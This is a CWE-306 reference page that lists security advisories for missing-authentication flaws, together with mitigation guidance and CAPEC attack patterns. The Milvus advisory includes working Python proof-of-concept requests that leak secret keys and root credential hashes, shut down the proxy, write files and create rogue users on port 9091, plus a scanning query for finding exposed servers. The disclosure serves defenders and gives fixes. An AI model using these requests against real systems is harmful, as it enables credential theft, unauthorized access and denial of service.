CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3572 vulnerabilities reference this CWE, most recent first.
GHSA-7M7P-MM4F-J6G6
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36Version 3.16.0 of the CoScale agent Docker image contains a blank password for the root user. Systems deployed using affected versions of the CoScale agent container may allow a remote attacker to achieve root access with a blank password.
{
"affected": [],
"aliases": [
"CVE-2020-35462"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T23:15:00Z",
"severity": "CRITICAL"
},
"details": "Version 3.16.0 of the CoScale agent Docker image contains a blank password for the root user. Systems deployed using affected versions of the CoScale agent container may allow a remote attacker to achieve root access with a blank password.",
"id": "GHSA-7m7p-mm4f-j6g6",
"modified": "2022-05-24T17:36:40Z",
"published": "2022-05-24T17:36:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35462"
},
{
"type": "WEB",
"url": "https://github.com/donghyunlee00/CVE/blob/main/CVE-2020-35462"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7M89-VH3R-4J38
Vulnerability from github – Published: 2025-02-12 15:32 – Updated: 2025-02-12 15:32A CWE-306 "Missing Authentication for Critical Function" in maxprofile/setup/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to disable front panel authentication via crafted HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2025-26366"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T14:15:37Z",
"severity": "HIGH"
},
"details": "A CWE-306 \"Missing Authentication for Critical Function\" in maxprofile/setup/routes.lua in Q-Free MaxTime less than or equal to version 2.11.0 allows an unauthenticated remote attacker to disable front panel authentication via crafted HTTP requests.",
"id": "GHSA-7m89-vh3r-4j38",
"modified": "2025-02-12T15:32:01Z",
"published": "2025-02-12T15:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26366"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-26366"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7MG4-GJ65-XWC3
Vulnerability from github – Published: 2025-06-07 21:30 – Updated: 2025-06-13 09:30In the moPS App through 1.8.618, all users can access administrative API endpoints without additional authentication, resulting in unrestricted read and write access, as demonstrated by /api/v1/users/resetpassword.
{
"affected": [],
"aliases": [
"CVE-2024-55585"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-07T19:15:22Z",
"severity": "CRITICAL"
},
"details": "In the moPS App through 1.8.618, all users can access administrative API endpoints without additional authentication, resulting in unrestricted read and write access, as demonstrated by /api/v1/users/resetpassword.",
"id": "GHSA-7mg4-gj65-xwc3",
"modified": "2025-06-13T09:30:33Z",
"published": "2025-06-07T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55585"
},
{
"type": "WEB",
"url": "https://karatemuffin.it/data/2025_06_07_CVE-2024-55585_update.json"
},
{
"type": "WEB",
"url": "https://media.ccc.de/v/glt25-504-safety-ja-security-nein-analyse-eines-breit-eingesetzten-einsatzmanagmentsystems-"
},
{
"type": "WEB",
"url": "https://mops.eu"
},
{
"type": "WEB",
"url": "https://www.mops.eu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:N/R:X/V:X/RE:M/U:Red",
"type": "CVSS_V4"
}
]
}
GHSA-7MH5-FH6P-8PW2
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
{
"affected": [],
"aliases": [
"CVE-2018-18264"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-03T01:29:00Z",
"severity": "HIGH"
},
"details": "Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard\u0027s Service Account for reading secrets within the cluster.",
"id": "GHSA-7mh5-fh6p-8pw2",
"modified": "2022-05-13T01:50:38Z",
"published": "2022-05-13T01:50:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18264"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/dashboard/pull/3289"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/dashboard/pull/3400"
},
{
"type": "WEB",
"url": "https://github.com/kubernetes/dashboard/releases/tag/v1.10.1"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI"
},
{
"type": "WEB",
"url": "https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106493"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7MJ9-5274-6HPV
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:35In SAP NetWeaver Enterprise Portal - version 7.50, an unauthenticated attacker can attach to an open interface and make use of an open API to access a service which will enable them to access or modify server settings and data, leading to limited impact on confidentiality and integrity.
{
"affected": [],
"aliases": [
"CVE-2023-28761"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T03:15:00Z",
"severity": "MODERATE"
},
"details": "In\u00a0SAP NetWeaver Enterprise Portal - version 7.50,\u00a0an unauthenticated attacker can attach to an open interface and make use of an open API to access a service which will enable them to access or modify server settings and data, leading to limited impact on confidentiality and integrity.\n\n",
"id": "GHSA-7mj9-5274-6hpv",
"modified": "2024-04-04T05:35:46Z",
"published": "2023-07-06T19:24:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28761"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3289994"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7P5R-MWRP-QHHQ
Vulnerability from github – Published: 2025-07-15 15:30 – Updated: 2025-07-15 15:30An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code execution on the underlying system. Starting with version 3.0.3, plugin upload functionality is disabled by default unless explicitly enabled in the configuration file.
{
"affected": [],
"aliases": [
"CVE-2025-34104"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-15T13:15:29Z",
"severity": "CRITICAL"
},
"details": "An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code execution on the underlying system. Starting with version 3.0.3, plugin upload functionality is disabled by default unless explicitly enabled in the configuration file.",
"id": "GHSA-7p5r-mwrp-qhhq",
"modified": "2025-07-15T15:30:59Z",
"published": "2025-07-15T15:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34104"
},
{
"type": "WEB",
"url": "https://firefart.at/post/turning_piwik_superuser_creds_into_rce"
},
{
"type": "WEB",
"url": "https://matomo.org/changelog/piwik-3-0-3"
},
{
"type": "WEB",
"url": "https://matomo.org/faq/plugins/faq_21"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/piwik-authenticated-rce-via-custom-plugin-upload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PCW-CJV4-C788
Vulnerability from github – Published: 2024-09-27 18:32 – Updated: 2024-09-27 18:32Advantech ADAM-5630 has built-in commands that can be executed without authenticating the user. These commands allow for restarting the operating system, rebooting the hardware, and stopping the execution. The commands can be sent to a simple HTTP request and are executed by the device automatically, without discrimination of origin or level of privileges of the user sending the commands.
{
"affected": [],
"aliases": [
"CVE-2024-39364"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-27T18:15:05Z",
"severity": "HIGH"
},
"details": "Advantech ADAM-5630 \nhas built-in commands that can be executed without authenticating the \nuser. These commands allow for restarting the operating system, \nrebooting the hardware, and stopping the execution. The commands can be \nsent to a simple HTTP request and are executed by the device \nautomatically, without discrimination of origin or level of privileges \nof the user sending the commands.",
"id": "GHSA-7pcw-cjv4-c788",
"modified": "2024-09-27T18:32:26Z",
"published": "2024-09-27T18:32:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39364"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-270-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PFM-4RH7-6VP4
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31A vulnerability exists in SenseLive X3050's web management interface that allows critical configuration parameters to be modified without sufficient authentication or server-side validation. By applying unsupported or disruptive values to recovery mechanisms and network settings, an attacker can induce a persistent lockout state. Because the device lacks a physical reset button, recovery requires specialized technical access via the console to perform a factory reset, resulting in a total denial-of-service for the gateway and its connected RS-485 downstream systems.
{
"affected": [],
"aliases": [
"CVE-2026-27843"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-24T00:16:27Z",
"severity": "CRITICAL"
},
"details": "A vulnerability exists in\u00a0SenseLive X3050\u0027s web management interface that allows critical configuration parameters to be modified without sufficient authentication or server-side validation. By applying unsupported or disruptive values to recovery mechanisms and network settings, an attacker can induce a persistent lockout state. Because the device lacks a physical reset button, recovery requires specialized technical access via the console to perform a factory reset, resulting in a total denial-of-service for the gateway and its connected RS-485 downstream systems.",
"id": "GHSA-7pfm-4rh7-6vp4",
"modified": "2026-04-24T00:31:52Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27843"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-111-12.json"
},
{
"type": "WEB",
"url": "https://senselive.io/contact"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PM8-R7X9-Q9J5
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30Serviio PRO 1.8 contains an information disclosure vulnerability due to improper access control enforcement in the Configuration REST API that allows unauthenticated attackers to access sensitive information. Remote attackers can send specially crafted requests to the REST API endpoints to retrieve potentially sensitive configuration data without authentication.
{
"affected": [],
"aliases": [
"CVE-2017-20217"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:17:51Z",
"severity": "HIGH"
},
"details": "Serviio PRO 1.8 contains an information disclosure vulnerability due to improper access control enforcement in the Configuration REST API that allows unauthenticated attackers to access sensitive information. Remote attackers can send specially crafted requests to the REST API endpoints to retrieve potentially sensitive configuration data without authentication.",
"id": "GHSA-7pm8-r7x9-q9j5",
"modified": "2026-03-16T15:30:41Z",
"published": "2026-03-16T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20217"
},
{
"type": "WEB",
"url": "https://blogs.securiteam.com/index.php/archives/3094"
},
{
"type": "WEB",
"url": "https://cxsecurity.com/issue/WLB-2017050022"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/125646"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/142383"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41958"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/serviio-pro-rest-api-information-disclosure"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5404.php"
},
{
"type": "WEB",
"url": "http://www.securitylab.ru/poc/486048.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PPG-37FH-VCR6
Vulnerability from github – Published: 2026-02-11 19:49 – Updated: 2026-07-06 15:17Summary
Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
- The
/exprdebug endpoint uses a weak, predictable default authentication token derived frometcd.rootPath(default:by-dev), enabling arbitrary expression evaluation. - The full REST API (
/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.
Details
Vulnerability 1: Weak Default Authentication on /expr Endpoint
The /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
- Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via
param.MinioCfg.SecretAccessKey.GetValue(),rootcoord.meta.GetCredential(ctx, 'root'), etc. - Denial of Service: Invoking
proxy.Stop()to shut down the proxy service. - Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.
Vulnerability 2: Unauthenticated REST API on Metrics Port
Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in internal/distributed/proxy/service.go (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
- Creating, listing, and deleting collections
- Inserting and querying data
- Creating, listing, and deleting user credentials
- Modifying user passwords
Proof of Concept
PoC 1 — /expr Endpoint Exploitation
import requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
PoC 2 — Unauthenticated REST API Access
import requests
target_url = "http://<target>:9091"
# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
"username": "attacker_user",
"password": "MTIzNDU2Nzg5",
})
print(res.json())
# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}
# Create and delete collections, insert data — all without authentication
Internet Exposure
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
Impact
An unauthenticated remote attacker with network access to port 9091 can:
- Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.
- Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.
- Manage user accounts — Create administrative users, reset passwords, and escalate privileges.
- Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata.
- Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.
Remediation
Recommended Fixes
- Remove or disable the
/exprendpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. - Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.
- Bind port 9091 to localhost by default (
127.0.0.1:9091) so it is not externally accessible unless explicitly configured. - Enforce authentication on all API endpoints, regardless of which port they are served on.
User Mitigations (until patched)
- Block external access to port 9091 using firewall rules or network policies.
- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.
- Change the
etcd.rootPathfrom the default valueby-devto a strong, random value (partial mitigation only — does not address the unauthenticated REST API).
Credit
This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/milvus-io/milvus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/milvus-io/milvus"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26190"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-749"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-11T19:49:44Z",
"nvd_published_at": "2026-02-13T19:17:29Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, \u0027root\u0027)`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 \u2014 `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://\u003ctarget\u003e:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"rootcoord.meta.GetCredential(ctx, \u0027root\u0027)\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service \u2014 stop the proxy\nres = requests.get(url, params={\n \"auth\": \"by-dev\",\n \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n \u0027param.Save(\"proxy.accessLog.localPath\", \"/tmp\")\u0027,\n \u0027param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")\u0027,\n \u0027param.Save(\"proxy.accessLog.filename\", \"evil.sh\")\u0027,\n \u0027querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")\u0027\n]:\n requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 \u2014 Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://\u003ctarget\u003e:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n \"username\": \"attacker_user\",\n \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json()) # {\u0027status\u0027: {}, \u0027usernames\u0027: [\u0027root\u0027, \u0027attacker_user\u0027]}\n\n# Create and delete collections, insert data \u2014 all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" \u0026\u0026 port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** \u2014 MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** \u2014 Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** \u2014 Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** \u2014 Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** \u2014 Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only \u2014 does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).",
"id": "GHSA-7ppg-37fh-vcr6",
"modified": "2026-07-06T15:17:07Z",
"published": "2026-02-11T19:49:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/milvus-io/milvus"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/releases/tag/v2.5.27"
},
{
"type": "WEB",
"url": "https://github.com/milvus-io/milvus/releases/tag/v2.6.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
